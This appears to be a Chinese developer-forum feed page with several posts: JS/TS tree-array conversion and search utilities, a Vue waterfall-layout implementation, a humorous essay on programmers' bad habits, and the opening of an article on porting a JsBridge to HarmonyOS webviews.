     name: `Node 2`,
     children: [
      { id: 9, name: `Node 2.1`, children: [] },
      { id: 10, name: `Node 2.2`, children: [] },
    ],
  },
]

咋一看一维树形结构可能会有点蒙,但是看一下多维树形结构想必各位小伙伴就一目了然了吧。这时候再回头去看一维树形结构想必就很清晰了。一维树形结构就是用pId做关联 来将多维树形结构给平铺了开来。

多维树形结构也是我们前端在渲染页面时经常用到的一种数据结构。但是后台一般给我们的是一维树形结构,而且一维树形结构 也非常有助于我们对数据进行增删改查。所以我们就要掌握一维树形结构多维树形结构的相互转化。

前置规划

再我们进入一段功能开发之前,我们肯定是要设计规划一下,我们的功能架构。

配置项的添加

动态参数名

让我们看一下上面那个数组 很明显有三个属性 是至关重要的。id pId 和 children。可以说没有这些属性就不是树形结构了。但是后台给你的树形结构相关参数不叫这个名字怎么办?所以我们后续的函数方法就要添加一些配置项来动态的配置的属性名。例如这样

type TreeDataConfig = {
 /** 唯一标识 默认是id */
 key?: string
 /** 与父节点关联的唯一标识 默认是pId */
 parentKey?: string
 /** 查询子集的属性名 默认是children */
 childrenName?: string
 isTileArray?: boolean
 isSetPrivateKey?: boolean
}
const flattenTreeData = (treeData:any,config?: TreeDataConfig): T[] => {
   //Do something...
}

keyparentKeychildrenName解决了我们上述的问题。想必你也发现了 除了这些 还有一些其他的配置项。

其他配置项

isTileArray:这个是设置后续的一些操作方法返回值是否为一维树形结构

isSetPrivateKey:这个就是我们下面要说的内容了,是否在节点中添加私有属性。

私有属性的添加

这里先插播一条小知识。可能有的小伙伴会在别人的代码中看到这样一种命名方式 _变量名下划线加变量名,这样就代表了这是一个私有变量。那什么是私有变量呢?请看代码

const name = '张三'
const fun = (_name) =>{
   console.log(_name)
}
fun(name)

上述代码中函数的参数名我们就把他用_name 用来表示。_name就表示了 这个name属性是fun函数的私有变量。用于与外侧的name进行区分。下面我们要添加的私有属性亦是同理 用于与treeNode节点的其他属性进行区分

请继续观察上面的两个树形结构数组。我们会发现多维树形结构的节点中并没有pId属性。这对我们的一些业务场景来说是很麻烦的。因此我们就内置了一个函数 来专门添加这些有可能非常有用的属性。 来更好的描述 我们当前节点在这个树形结构中的位置。

/**
* 添加私有属性。
* _pId     父级id
* _pathArr 记录了从一级到当前节点的id集合。
* _pathArr 的length可以记录当前是多少层
* @param treeNode
* @param parentTreeNode
* @param treeDataConfig
*/
const setPrivateKey = (treeNode,parentTreeNode, config) => {
 const { key = `id` } = config || {}
 item._pId = parentInfo?.[key]
 item._pathArr = parentInfo?._pathArr ? [...parentInfo._pathArr, item[key]] : [item[key]]
}

一维树形结构 与 多维树形结构 的相互转化

一维树形结构转多维树形结构

/**
* 一维树形结构转多维树形结构
* @param tileArray 一维树形结构数组
* @param config 配置项(key,childrenName,parentKey,isSetPrivateKey)
* @returns 返回多维树形结构数组
*/

const getTreeData = (tileArray = [], config) => {
 const {
   key = `id`,
   childrenName = `children`,
   parentKey = `pId`,
   isSetPrivateKey = false,
} = config || {}
 const fun = (parentTreeNode) => {
   const parentId = parentTreeNode[key]
   const childrenNodeList = []
   copyTileArray = copyTileArray.filter(item => {
     if (item[parentKey] === parentId) {
       childrenNodeList.push({ ...item })
       return false
    }
     else {
       return true
    }
  })
   parentTreeNode[childrenName] = childrenNodeList
   childrenNodeList.forEach(item => {
     isSetPrivateKey && setPrivateKey(item, parentTreeNode, config)
     fun(item)
  })
}
 const rootNodeList = tileArray.filter(item => !tileArray.some(i => i[key] === item[parentKey]))
 const resultArr = []
 let copyTileArray = [...tileArray]
 rootNodeList.forEach(item => {
   const index = copyTileArray.findIndex(i => i[key] === item[key])
   if (index > -1) {
     copyTileArray.splice(index, 1)
     const obj = { ...item }
     resultArr.push(obj)
     isSetPrivateKey && setPrivateKey(obj, undefined, config)
     fun(obj)
  }
})
 return resultArr
};

多维树形结构转一维树形结构

/**
* 多维树形结构转一维树形结构
* @param treeData 树形结构数组
* @param config 配置项(key,childrenName,isSetPrivateKey)
* @returns 返回一维树形结构数组
*/

const flattenTreeData = (treeData = [], config) => {
 const { childrenName = `children`, isSetPrivateKey = false } = config || {};
 const result = [];

 /**
  * 递归地遍历树形结构,并将每个节点推入结果数组中
  * @param _treeData 树形结构数组
  * @param parentTreeNode 当前树节点的父节点
  */

 const fun = (_treeData, parentTreeNode) => {
   _treeData.forEach((treeNode) => {
     // 如果需要,为每个树节点设置私有键
     isSetPrivateKey && setPrivateKey(treeNode, parentTreeNode, config);
     // 将当前树节点推入结果数组中
     result.push(treeNode);
     // 递归地遍历当前树节点的子节点(如果有的话)
     if (treeNode[childrenName]) {
       fun(treeNode[childrenName], treeNode);
    }
  });
};

 // 从树形结构的根节点开始递归遍历
 fun(treeData);

 return result;
};

处理多维树形结构的函数方法

在开始的基础介绍中我们有提到过一维树形结构 有助于我们对数据进行增删改查。因为一维的树形结构可以很容易的使用的我们数组内置的一些 find filter map 等方法。这几个方法不知道小伙伴赶紧去补一补这些知识吧 看完了再回到这里。传送门

下面我们会介绍 findTreeDatafilterTreeData ,mapTreeData 这三个方法。使用方式基本和find filter map原始数组方法一样。也有些许不一样的地方:

  1. 因为我们不是直接把方法绑定在原型上面的 所以不能直接 arr.findTreeData 这样使用。需要findTreeData (arr) 把多维树形结构数组当参数传进来。
  2. callBack函数参数返回有些许不同 。前两个参数一样 第三个参数为父级的详情 没有父级的返回undefined。
  3. filterTreeData ,mapTreeData方法我们可以通过配置项中的isTileArray属性来设置返回的是一维树形结构还是多维树形结构

findTreeData

/**
* 筛选多维树形结构 返回查询到的第一个结果
* @param treeData 树形结构数组
* @param callBack 写入搜索条件 用法和数组的find方法一致(前两个参数一样 第三个参数为父级的详情 没有父级的返回undefined)
* @param config 配置项(key,childrenName,isSetPrivateKey)
* @returns 返回查询到的第一个结果
*/

const findTreeData = (treeData = [], callBack, config, parentTreeNode) => {
 // 定义配置项中的 childrenName 和 isSetPrivateKey 变量, 如果没有传入 config 则默认值为 {}
 const { childrenName = `children`, isSetPrivateKey = false } = config || {};

 // 遍历树形数据
 for (const treeNode of treeData) {
   // 当 isSetPrivateKey 为真时,为每个节点设置私有变量
   if (isSetPrivateKey) {
     setPrivateKey(treeNode, parentTreeNode, config);
  }
   // 如果 callBack 返回真, 则直接返回当前节点
   if (callBack?.(treeNode, treeData.indexOf(treeNode), parentTreeNode)) {
     return treeNode;
  }
   // 如果有子节点, 则递归调用 findTreeData 函数, 直到找到第一个匹配节点
   if (treeNode[childrenName]) {
     const dataInfo = findTreeData(treeNode[childrenName], callBack, config, treeNode);
     if (dataInfo) {
       return dataInfo;
    }
  }
}
};

filterTreeData

/**
* 筛选多维树形结构 返回查询到的结果数组
* @param treeData 树形结构数组
* @param callBack 写入搜索条件 用法和数组的filter方法一致(前两个参数一样 第三个参数为父级的详情 没有父级的返回undefined)
* @param config 配置项(key,childrenName,isTileArray,isSetPrivateKey)
* @returns 返回查询到的结果数组
*/

const filterTreeData = (treeData = [], callBack, config) => {
 const { childrenName = `children`, isTileArray = false, isSetPrivateKey = false } = config || {}; // 解构配置项
 const resultTileArr = []; // 用于存储查询到的结果数组
 const fun = (_treeData, parentTreeNode) => {
   return _treeData.filter((treeNode, index) => {
       if (isSetPrivateKey) {
         setPrivateKey(treeNode, parentTreeNode, config); // 为每个节点设置私有键名
      }
       const bool = callBack?.(treeNode, index, parentTreeNode)
       if (treeNode[childrenName]) { // 如果该节点存在子节点
         treeNode[childrenName] = fun(treeNode[childrenName], treeNode); // 递归调用自身,将子节点返回的新数组赋值给该节点
      }
       if (bool) { // 如果传入了搜索条件回调函数,并且该节点通过搜索条件
         resultTileArr.push(treeNode); // 将该节点添加至结果数组
         return true; // 返回true
      } else { // 否则,如果该节点存在子节点
         return treeNode[childrenName] && treeNode[childrenName].length; // 判断子节点是否存在
      }
    });
};
 const resultArr = fun(treeData); // 调用函数,返回查询到的结果数组或整个树形结构数组
 return isTileArray ? resultTileArr : resultArr; // 根据配置项返回结果数组或整个树形结构数组
};

mapTreeData

/**
* 处理多维树形结构数组的每个元素,并返回处理后的数组
* @param treeData 树形结构数组
* @param callBack 写入搜索条件 用法和数组的map方法一致(前两个参数一样 第三个参数为旧的父级详情 第四个是新的父级详情)
* @param config 配置项(key,childrenName,isTileArray,isSetPrivateKey)
* @returns 返回查询到的结果数组
*/

const mapTreeData = (treeData = [], callBack, config) => {
 const { childrenName = `children`, isTileArray = false, isSetPrivateKey = false } = config || {}
 const resultTileArr = []
 const fun = (_treeData, oldParentTreeNode, newParentTreeNode) => {
   return _treeData.map((treeNode, index) => {
     isSetPrivateKey && setPrivateKey(treeNode, oldParentTreeNode, config)
     const callBackInfo = callBack?.(treeNode, index, oldParentTreeNode, newParentTreeNode)
     if (isTileArray) {
       resultTileArr.push(callBackInfo)
    }
     const mappedTreeNode = {
       ...treeNode,
       ...callBackInfo,
    }
     if (treeNode?.[childrenName]) {
       mappedTreeNode[childrenName] = fun(treeNode[childrenName], treeNode, mappedTreeNode)
    }
     return mappedTreeNode
  })
}
 const resultArr = fun(treeData)
 return isTileArray ? resultTileArr : resultArr
};

ts版本代码

/**
* 操控树形结构公共函数方法
* findTreeData     筛选多维树形结构 返回查询到的第一个结果
* filterTreeData   筛选多维树形结构 返回查询到的结果数组
* mapTreeData     处理多维树形结构数组的每个元素,并返回处理后的数组
* getTreeData     一维树形结构转多维树形结构
* flattenTreeData 多维树形结构转一维树形结构
*/


/** 配置项 */
type TreeDataConfig = {
 /** 唯一标识 默认是id */
 key?: string
 /** 与父节点关联的唯一标识 默认是pId */
 parentKey?: string
 /** 查询子集的属性名 默认是children */
 childrenName?: string
 /** 返回值是否为一维树形结构 默认是false*/
 isTileArray?: boolean
 /** 是否添加私有变量 默认是false */
 isSetPrivateKey?: boolean
}

type TreeNode = {
 _pId?: string | number
 _pathArr?: Array
}

/**
* 新增业务参数。
* _pId     父级id
* _pathArr 记录了从一级到当前节点的id集合。
* _pathArr 的length可以记录当前是多少层
* @param treeNode
* @param parentTreeNode
* @param treeDataConfig
*/

const setPrivateKey = (
 treeNode: T & TreeNode,
 parentTreeNode: (T & TreeNode) | undefined,
 config?: TreeDataConfig
) => {
 const { key = `id` } = config || {}
 treeNode._pId = parentTreeNode?.[key]
 treeNode._pathArr = parentTreeNode?._pathArr
   ? [...parentTreeNode._pathArr, treeNode[key]]
  : [treeNode[key]]
}

type FindTreeData = (
 treeData?: readonly T[],
 callBack?: (treeNode: T, index: number, parentTreeNode?: T) => boolean,
 config?: TreeDataConfig,
 parentTreeNode?: T
) => (T & TreeNode) | undefined
/**
* 筛选多维树形结构 返回查询到的第一个结果
* @param treeData 树形结构数组
* @param callBack 写入搜索条件 用法和数组的find方法一致(前两个参数一样 第三个参数为父级的详情 没有父级的返回undefined)
* @param config 配置项(key,childrenName,isSetPrivateKey)
* @returns 返回查询到的第一个结果
*/

export const findTreeData: FindTreeData = (treeData = [], callBack, config, parentTreeNode) => {
 const { childrenName = `children`, isSetPrivateKey = false } = config || {}
 for (const treeNode of treeData) {
   isSetPrivateKey && setPrivateKey(treeNode, parentTreeNode, config)
   if (callBack?.(treeNode, treeData.indexOf(treeNode), parentTreeNode)) {
     return treeNode
  }
   if (treeNode[childrenName]) {
     const dataInfo = findTreeData(treeNode[childrenName], callBack, config, treeNode)
     if (dataInfo) {
       return dataInfo
    }
  }
}
}

/**
* 筛选多维树形结构 返回查询到的结果数组
* @param treeData 树形结构数组
* @param callBack 写入搜索条件 用法和数组的filter方法一致(前两个参数一样 第三个参数为父级的详情 没有父级的返回undefined)
* @param config 配置项(key,childrenName,isTileArray,isSetPrivateKey)
* @returns 返回查询到的结果数组
*/

export const filterTreeData = (
 treeData: readonly T[] = [],
 callBack?: (treeNode: T, index: number, parentTreeNode?: T) => boolean,
 config?: TreeDataConfig
): (T & TreeNode)[] => {
 const { childrenName = `children`, isTileArray = false, isSetPrivateKey = false } = config || {}
 const resultTileArr: T[] = []
 const fun = (_treeData: readonly T[], parentTreeNode?: T): T[] => {
   return _treeData.filter((treeNode, index) => {
     isSetPrivateKey && setPrivateKey(treeNode, parentTreeNode, config)
     const bool = callBack?.(treeNode, index, parentTreeNode)
     if (treeNode[childrenName]) {
      ;(treeNode[childrenName] as T[]) = fun(treeNode[childrenName], treeNode)
    }
     if (bool) {
       resultTileArr.push(treeNode)
       return true
    } else {
       return treeNode[childrenName] && treeNode[childrenName].length
    }
  })
}
 const resultArr = fun(treeData)
 return isTileArray ? resultTileArr : resultArr
}

/**
* 处理多维树形结构数组的每个元素,并返回处理后的数组
* @param treeData 树形结构数组
* @param callBack 写入搜索条件 用法和数组的map方法一致(前两个参数一样 第三个参数为父级的详情 没有父级的返回undefined)
* @param config 配置项(key,childrenName,isTileArray,isSetPrivateKey)
* @returns 返回查询到的结果数组
*/

export const mapTreeData = (
 treeData: readonly T[] = [],
 callBack?: (
   treeNode: T,
   index: number,
   oldParentTreeNode?: T,
   newParentTreeNode?: T
) => { [x: string]: any } | any,
 config?: TreeDataConfig
): Array => {
 const { childrenName = `children`, isTileArray = false, isSetPrivateKey = false } = config || {}
 const resultTileArr: Array = []
 const fun = (_treeData: readonly T[], oldParentTreeNode?: T, newParentTreeNode?: T) => {
   return _treeData.map((treeNode, index) => {
     isSetPrivateKey && setPrivateKey(treeNode, oldParentTreeNode, config)
     const callBackInfo = callBack?.(treeNode, index, oldParentTreeNode, newParentTreeNode)
     if (isTileArray) {
       resultTileArr.push(callBackInfo)
       return
    }
     const mappedTreeNode = {
       ...treeNode,
       ...callBackInfo,
    }
     if (treeNode?.[childrenName]) {
       mappedTreeNode[childrenName] = fun(treeNode[childrenName], treeNode, mappedTreeNode)
    }
     return mappedTreeNode
  })
}
 const resultArr = fun(treeData)
 return isTileArray ? resultTileArr : resultArr
}

/**
* 一维树形结构转多维树形结构
* @param tileArray 一维树形结构数组
* @param config 配置项(key,childrenName,parentKey,isSetPrivateKey)
* @returns 返回多维树形结构数组
*/

export const getTreeData = (
 tileArray: readonly T[] = [],
 config?: TreeDataConfig
): (T & TreeNode)[] => {
 const {
   key = `id`,
   childrenName = `children`,
   parentKey = `pId`,
   isSetPrivateKey = false,
} = config || {}
 const fun = (parentTreeNode: { [x: string]: any }) => {
   const parentId = parentTreeNode[key]
   const childrenNodeList: T[] = []
   copyTileArray = copyTileArray.filter(item => {
     if (item[parentKey] === parentId) {
       childrenNodeList.push({ ...item })
       return false
    } else {
       return true
    }
  })
   parentTreeNode[childrenName] = childrenNodeList
   childrenNodeList.forEach(item => {
     isSetPrivateKey && setPrivateKey(item, parentTreeNode, config)
     fun(item)
  })
}
 const rootNodeList = tileArray.filter(item => !tileArray.some(i => i[key] === item[parentKey]))
 const resultArr: (T & TreeNode)[] = []
 let copyTileArray = [...tileArray]
 rootNodeList.forEach(item => {
   const index = copyTileArray.findIndex(i => i[key] === item[key])
   if (index > -1) {
     copyTileArray.splice(index, 1)
     const obj = { ...item }
     resultArr.push(obj)
     isSetPrivateKey && setPrivateKey(obj, undefined, config)
     fun(obj)
  }
})
 return resultArr
}

/**
* 多维树形结构转一维树形结构
* @param treeData 树形结构数组
* @param config 配置项(key,childrenName,isSetPrivateKey)
* @returns 返回一维树形结构数组
*/

export const flattenTreeData = (
 treeData: readonly T[] = [],
 config?: TreeDataConfig
): (T & TreeNode)[] => {
 const { childrenName = `children`, isSetPrivateKey = false } = config || {}
 const result: T[] = []
 const fun = (_treeData: readonly T[], parentTreeNode?: T) => {
   _treeData.forEach(treeNode => {
     isSetPrivateKey && setPrivateKey(treeNode, parentTreeNode, config)
     result.push(treeNode)
     if (treeNode[childrenName]) {
       fun(treeNode[childrenName], treeNode)
    }
  })
}
 fun(treeData)
 return result
}


作者:热心市民王某
来源:juejin.cn/post/7213642622074765369
收起阅读 »

瀑布流最佳实现方案

web
传统实现方式 当前文章的gif文件较大,加载的时长可能较久 这里我拿小红书的首页作为分析演示 可以看到他们的实现方式是传统做法,把每个元素通过获取尺寸,然后算出left、top的排版位置,最后在每个元素上设置偏移值,思路没什么好说的,就是算元素坐标。那么...
继续阅读 »

传统实现方式



当前文章的gif文件较大,加载的时长可能较久



这里我拿小红书的首页作为分析演示


xhs2.gif


可以看到他们的实现方式是传统做法,把每个元素通过获取尺寸,然后算出lefttop的排版位置,最后在每个元素上设置偏移值,思路没什么好说的,就是算元素坐标。那么这种做法有什么缺点?请看下面这张图的操作


xhs.gif



  1. 容器尺寸每发生一次变化,容器内部所有节点都需要更新一次样式设置,当页面元素过多时,窗口的尺寸变动卡到不得了;

  2. 实现起来过于复杂,需要对每个元素获取尺寸然后进行计算,不利于后面修改布局样式;

  3. 每一次的容器尺寸发生变动,图片元素都会闪烁一下(电脑好的可能不会);


最佳实现方式



吐槽:早在2019年我就将下面的这种实现方式应用在小程序项目上了,但是目前还没见到有人会用这种方式去实现,为什么会没有人想到呢?表示不理解。



代码仓库


预览地址


先看一下效果


show.gif


在上面的预览地址中,打开控制台查看节点元素,可以看到是没有任何的js控制样式操作,而是全部交给css的自适应来渲染,我在代码层中只需要把数据排列好就行。


实现思路


这里我将把容器里面分为4列,如下图


微信截图_20240312210833.png


然后再在每列的数组里面按顺序添加数据即可,这样去布局的好处既方便、兼容性好、浏览器渲染性能开销最低化,而且还不会破坏文档流,将操作做到极致简单。剩下的只需要怎样去处理每一列的数组即可。


处理数组逻辑


由于是要做成动态列,所以不能固定4个数组列表,那就做成动态对容器输出N列,最后再对每一列添加数据即可。这里我用ResizeObserver去代替window.onresize,理由是在实际应用中,容器会受到其他布局而影响,而非窗口变动,所以前者更精确一些,不过思路做法都是一样的。



  • 设置一个变量column,代表显示页面有多少列;

  • 声明一个变量cacheList,用来缓存接口请求回来的数据,也就是总数据;

  • 然后监听容器的宽度去设置column的数量值;

  • 最后用computed根据column的值生成一个二维数组进行页面渲染即可;


import { ref, reactive, computed, onMounted, onUnmounted } from "vue";

/** 每一个节点item的数据结构 */
interface ItemInfo {
id: number
title: string
text: string
/** 图片路径 */
photo: string
}

type ItemList = Array<ItemInfo>;

const page = reactive({
/** 页面中出现多少列数据 */
column: 4,
update: 0,
});

const pageList = computed(function() {
const result = new Array(page.column).fill(0).map((_, index) => ({ id: index, list: [] as ItemList }));
let columnIndex = 0;
page.update; // TODO: 这里放一个引用值,用于手动更新;
for (let i = 0; i < cacheList.length; i++) {
const item = cacheList[i];
result[columnIndex].list.push(item);
columnIndex++;
if (columnIndex >= page.column) {
columnIndex = 0;
}
}
console.log("重新计算列表 !!----------!!");
return result;
});

let cacheList: ItemList = [];

async function getData() {
page.loading = true;
const res = await getList(20); // 接口请求方法
page.loading = false;
if (res.code === 1) {
cacheList = cacheList.concat(res.data);
// TODO: 手动更新,这里不把`cacheList`放进`page`里面是因为响应数据列表过多会影响性能
page.update++;
}
}

let observer: ResizeObserver;

onMounted(function() {
getData()
observer = new ResizeObserver(function(entries) {
const rect = entries[0].contentRect;
if (rect.width > 1200) {
page.column = 4;
} else if (rect.width > 900) {
page.column = 3;
} else if (rect.width > 600) {
page.column = 2;
}
});
observer.observe(document.querySelector(".water-list")!);
});

onUnmounted(function() {
observer.disconnect();
})


这里有个细节,我把page.update丢进computed中作为手动触发更新的开关而不是把cacheList声明响应式的原因是因为页面只需要用到一个响应数组,如果把cacheList也设置为响应式,那就导致了数组过长时,响应式过多的性能开销,所以这里用一个引用值作为手动触发更新依赖的方式会更加好。


这样一个基本的瀑布流就完成了。


基础版预览


更完美的处理


细心的同学这时已经发现问题了,就是当某一列的图片高度都很长时,会产生较大的空隙,因为是没有任何的高度计算处理而是按照数组顺序的逐个添加导致,像下面这样。


微信截图_20240312213804.png


所以这里就还需要优化一下逻辑



  • 在获取数据时,把每一个图片的高度记录下来并写入到总列表中

  • 在组装数据时,先拿到高度最低的一列,然后将数据加入到这一列中



/**
* 加载所有图片并设置对应的宽高
* @param list
*/

async function setImageSize(list: ItemList): Promise<ItemList> {
const total = list.length;
let count = 0;
return new Promise(function(resolve) {
function loadImage(item: ItemInfo) {
const img = new Image();
img.src = item.photo;
function complete<T extends { width: number, height: number }>(target: T) {
count++;
item.width = img.width;
item.height = img.height;
if (count >= total) {
resolve(list);
}
}
img.onload = () => complete(img);
img.onerror = function() {
item.photo = defaultPic.data;
complete(defaultPic);
};
}
for (let i = 0; i < total; i++) {
loadImage(list[i]);
}
});
}

async function getData() {
page.loading = true;
const res = await getList(20);
// page.loading = false;
if (res.code === 1) {
const list = await setImageSize(res.data);
page.loading = false;
cacheList = cacheList.concat(list);
// TODO: 手动更新,这里不把`cacheList`放进`page`里面是因为响应数据列表过多会影响性能
page.update++;
}
}

const pageList = computed(function() {
const result = new Array(page.column).fill(0).map((_, index) => ({ id: index, list: [] as ItemList, height: 0 }));
/** 设置列的索引 */
let columnIndex = 0;
// TODO: 这里放一个引用值,用于手动更新;
page.update;
// 开始组装数据
for (let i = 0; i < cacheList.length; i++) {
const item = cacheList[i];
if (columnIndex < 0) {
// 从这里开始,将以最低高度列的数组进行添加数据,这样就不会出现某一列高度与其他差距较大的情况
result.sort((a, b) => a.height - b.height);
// console.log("数据添加前 >>", item.id, result.map(ele => ({ index: ele.id, height: ele.height })));
result[0].list.push(item);
result[0].height += item.height!;
// console.log("数据添加后 >>", item.id, result.map(ele => ({ index: ele.id, height: ele.height })));
// console.log("--------------------");
} else {
result[columnIndex].list.push(item);
result[columnIndex].height += item.height!;
columnIndex++;
if (columnIndex >= page.column) {
columnIndex = -1;
}
}
}
console.log("重新计算列表 !!----------!!");
// 最后排一下原来的顺序再返回即可
result.sort((a, b) => a.id - b.id);
// console.log("处理过的数据列表 >>", result);
return result;
});


这样就达到完美的效果了,但是每次获取数据的时候却要等一会,因为要把获取回来的图片全部加载完才进行数据显示,所以没有基础版的无脑组装数据然后渲染快。除非然让后端返回数据的时候也带上图片的宽高(不现实),只能在上传图片的操作中携带上。


作者:黄景圣
来源:juejin.cn/post/7345379926147252236
收起阅读 »

程序员的这10个坏习惯,你中了几个?超过一半要小心了

前言 一些持续关注过我的朋友大部分都来源于我的一些资源分享和一篇万字泣血斩副业的劝诫文,但今年年后开始我有将近4个月没有再更新过。 有加过我好友的朋友私聊我问过,有些回复了有些没回复。 想通过这篇文章顺便说明一下个人的情况,主要是给大家的一些中肯的建...
继续阅读 »

前言



一些持续关注过我的朋友大部分都来源于我的一些资源分享和一篇万字泣血斩副业的劝诫文,但今年年后开始我有将近4个月没有再更新过。




有加过我好友的朋友私聊我问过,有些回复了有些没回复。




想通过这篇文章顺便说明一下个人的情况,主要是给大家的一些中肯的建议。



我的身体



今年年前公司福利发放的每人一次免费体检,我查出了高密度脂蛋白偏低,因为其他项大体正常,当时也没有太在意。




但过完年后的第一个月,我有一次下午上班忽然眩晕,然后犯恶心,浑身发软冒冷汗,持续了好一阵才消停。




当时我第一感觉就是颈椎出问题了?毕竟这是程序员常见的职业病。




然后在妻子陪伴下去医院的神经内科检查了,结果一切正常。




然后又去拍了片子看颈椎什么问题,显示第三节和第四节有轻微的增生,医生说其实没什么,不少从事电脑工作的人都有,不算是颈椎有大问题。




我人傻了,那我这症状是什么意思。




医生又建议我去查下血,查完后诊断出是血脂偏高,医生说要赶紧开始调理身体了,否则会引发更多如冠心病、动脉粥样硬化、心脑血管疾病等等。




我听的心惊胆战,没想到我才34岁就会得上老年病。




接下来我开始调理自己的作息和生活,放弃一些不该强求的,也包括工作之余更新博客,分享代码样例等等。




4个月的时间,我在没有刻意减肥的情况下体重从原先152减到了140,整个人也清爽了许多,精力恢复了不少。




所以最近又开始主动更新了,本来是总结了程序员的10个工作中的不良习惯。




但想到自己的情况,决定缩减成5个,另外5个改为程序员生活中的不良习惯,希望能对大家有警示的作用。



不良习惯


1、工作


1)、拖延症


不到最后一天交差,我没有压力,绝不提前完成任务,从上学时完成作业就是这样,现在上班了,还是这样,我就是我,改不了了。



2)、忽视代码可读性


别跟我谈代码注释,多写一个字我认你做die,别跟我谈命名规范,就用汉语拼音,怎样?其他人读不懂,关我什么事?



3)、忽视测试


我写一个单元测试就给我以后涨100退休金,那我就写,否则免谈。接口有问题你前端跟我说就行了发什么脾气,前后端联调不就这样吗?!



4)、孤立自己


团队合作不存在的,我就是不合群的那个,那年我双手插兜,全公司没有一个对手。



5)、盲目追求技术新潮


晚上下班了,吃完饭打开了某某网,看着课程列表中十几个没学完的课程陷入了沉默,但是首页又出现了一门新课,看起来好流行好厉害耶,嗯,先买下来,徐徐图之。



2、生活


1)、缺乏锻炼和运动


工作了一天,还加班,好累,但还是得锻炼,先吃完饭吧,嗯,看看综艺节目吧,嗯,再看看动漫吧,嗯,还得学习一下新技术吧,嗯,是手是得洗澡了,嗯,还要洗衣服,咦,好像忘记了什么重要的事情?算了,躺床上看看《我家娘子不对劲》慢慢入睡。



2)、加班依赖症


看看头条,翻翻掘金,瞅瞅星球,点点订阅号,好了,开始工作吧,好累,喝口水,上个厕所,去外面走走,回来了继续,好像十一点半了,快中午了,待会儿吃什么呢?


午睡醒了,继续干吧,看看头条,翻翻掘金,瞅瞅星球,点点订阅号,好了,开始工作吧,好累,喝口水,上个厕所,去外面走走,回来了继续,好像5点半了,快下班了,任务没完成。


算了,加加班,争取8点之前搞定。


呼~搞定了,走人,咦,10点了。



3)、忽视饮食健康


早上外卖,中午外卖,晚上外卖,哇好丰富耶,美团在手,简直就是舌尖上的中国,晚上再来个韩式炸鸡?嗯,来个韩式甜辣酱+奶香芝士酱,今晚战个痛快!



4)、缺乏社交活动


好烦啊,又要参加公司聚会,聚什么餐,还不是高级外卖,说不定帮厨今天被大厨叼了心情不好吐了不少唾沫在里面,还用上完厕所摸了那里没洗的手索性搅了一遍,最后在角落里默默看着你们吃。


吃完饭还要去KTV?继续喝,喝不死你们,另外你们唱得很好听吗?还不是看谁嗷的厉害!


谁都别跟我说话,尤其是领导,离我越远越好,唉,好想回去,这个点B站该更新了吧,真想早点看up主们嘲讽EDG。



5)、没有女朋友


张三:我不是不想谈恋爱,是没人看得上我啊,我也不好意思硬追,我也要点脸啊,现在的女孩都肿么了?一点暗示都不给了?成天猜猜猜,我猜你MLGB的。


李四:家里又打电话了,问在外面有女朋友了没,我好烦啊,我怎么有啊,我SpringCloudAlibaba都没学会,我怎么有?现在刚毕业的都会k8s了,我不学习了?不学习怎么跳槽,不跳槽工资怎么翻倍,不翻倍怎么买房,不买房怎么找媳妇?


王五:亲朋好友介绍好多个了,都能凑两桌麻将了,我还是没谈好,眼看着要30了,我能咋整啊,我瞅她啊。破罐破摔吧,大不了一个人过呗,多攒点钱以后养老,年轻玩个痛快,老了早点死也不亏,又不用买房买车结婚受气还得养娃,多好啊,以后两脚一蹬我还管谁是谁?



总结



5个工作坏习惯,5个生活坏习惯,送给我亲爱的程序员们,如果你占了一半,真得注意点了,别给自己找借口,你不会对不起别人,只是对不起自己。





喜欢的小伙伴们,麻烦点个赞,点个关注,也可以收藏下,以后没事儿翻出来看看哈。


作者:程序员济癫
来源:juejin.cn/post/7269375465319415867
收起阅读 »

如何移植 JsBridge 到鸿蒙

相信大多数小伙伴的项目都已经有了线上稳定运行的 JsBridge 方案,那么对于鸿蒙来说,最好的方案肯定是不需要前端同学的改动,就可以直接运行,这个兼容任务就得我们自己来做了。 关于 JsBridge 的通信原理,现在主流的技术方案有 拦截 URL 和 对象注...
继续阅读 »

相信大多数小伙伴的项目都已经有了线上稳定运行的 JsBridge 方案,那么对于鸿蒙来说,最好的方案肯定是不需要前端同学的改动,就可以直接运行,这个兼容任务就得我们自己来做了。


关于 JsBridge 的通信原理,现在主流的技术方案有 拦截 URL对象注入 两种,我们分别看一下如何在鸿蒙上实现。


拦截 URL


在安卓上,拦截 URL 这个技术方案的代表作一定是 github.com/lzyzsd/JsBr… ,相信有不少小伙伴都使用了这个开源库。


我这里就以该开源库为例,介绍一下如何在鸿蒙上无缝迁移。


首先,在页面加载完成后注入通信需要的 JS 代码。在 Android 中,是 WebViewClient.onPageFinished(),在鸿蒙中对应 Web组件的 onPageEnd()方法。


Web({ src: this.url, controller: this.controller })
.onPageEnd(() => {
this.onPageEnd()
BridgeUtil.webViewLoadLocalJs(getContext(), this.controller, BridgeUtil.toLoadJs)
})

鸿蒙中本地资源文件放在 resouce/rawfile 目录下,通过以下代码读取:


rawFile2Str(context: Context, file: string): string {
try {
let data = context.resourceManager.getRawFileContentSync(file)
let decoder = util.TextDecoder.create("utf-8")
let str = decoder.decodeWithStream(data, { stream: false })
return str
} catch (e) {
return ""
}
}

读取到的 JS 代码,通过系统能力动态执行。在 Android 中,通过 WebView.loadUrl() 或者 WebView.evaluateJavaScript() 来实现。在鸿蒙中,对应的是 WebviewController.runJavaScriptExt()


webViewLoadLocalJs(context: Context, controller: WebviewController, path: string) {
let jsContent = BridgeUtil.rawFile2Str(context, path)
controller.runJavaScriptExt(BridgeUtil.JAVASCRIPT_STR + jsContent, (err, result) => {
...
})
}

JS 代码注入完成后,就是核心的拦截 URL 了。在 Android 中,通过 WebViewClient.shouldOverrideUrlLoading() 实现,看一下具体的代码:


    @Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
try {
url = URLDecoder.decode(url, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}

if (url.startsWith(BridgeUtil.YY_RETURN_DATA)) {
webView.handlerReturnData(url);
return true;
} else if (url.startsWith(BridgeUtil.YY_OVERRIDE_SCHEMA)) { //
webView.flushMessageQueue();
return true;
} else {
return super.shouldOverrideUrlLoading(view, url);
}
}

拦截到所有的 URL,判断是否是 H5 通过 iFrame.src 发送的指定特征的 URL,来完成通信流程。


在鸿蒙中,对应的是 Web 组件的 onInterceptRequest()方法。


Web({ src: this.url, controller: this.controller })
.onInterceptRequest((event) => {
if (event) {
let url = event.request.getRequestUrl()
